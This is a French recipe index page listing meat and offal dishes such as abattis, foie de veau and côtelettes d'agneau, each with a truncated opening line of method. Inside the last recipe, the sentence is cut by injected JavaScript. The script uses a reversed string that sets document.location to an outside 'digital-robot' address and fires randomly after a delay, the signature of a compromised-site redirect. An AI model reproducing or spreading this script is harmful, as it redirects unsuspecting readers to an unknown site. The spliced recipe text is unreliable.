Recipes From Cuisine: Viandes

Abattis bonne femme

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Coupez-les gousses d’ail en deux, ôtez le germe et hachez-les avec les oignons et le ...

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Ailes de poulet au curry

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Dans un bol déposez les raisins secs avec le rhum pendant 15 minutes. Saupoudrez les ...

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Foie de veau à la lyonnaise

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Séchez les tranches de foie de veau avec du papier absorbant. Versez dans une assiette ...

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Foie gras au naturel

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Tapissez le fond d’une terrine de gros sel. Poivrez le foie sur ces deux faces. ...

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Cervelle d’agneau aux épinards

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Préparez la pâte à crêpes, en mélangeant la farine avec la pincée de sel fin. ...

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Andouillettes sauce moutarde

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Pelez, hachez les échalotes. Lavez, plongez les pommes de terre avec la peau dans une ...

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Côtelettes d’agneau au thym

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Dans un saladier mélangez le thym avec l’huile. Badigeonnez les côtelettes d’agneau.

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Côtelettes d’agneau aux courges

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Pelez, lavez les pommes de terre. Détaillez-les en 4. Et faites les cuire à la ...

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Foie de veau rôti

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Rincez, essorez et hachez le persil. Plongez la crépine dans de l’eau froide pendant 10 ...

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Côtelettes d’agneau au parmesan

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Rincez, séchez le thym dans un tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}torchon propre. L’émiettez ...

Christine.. Lire la suite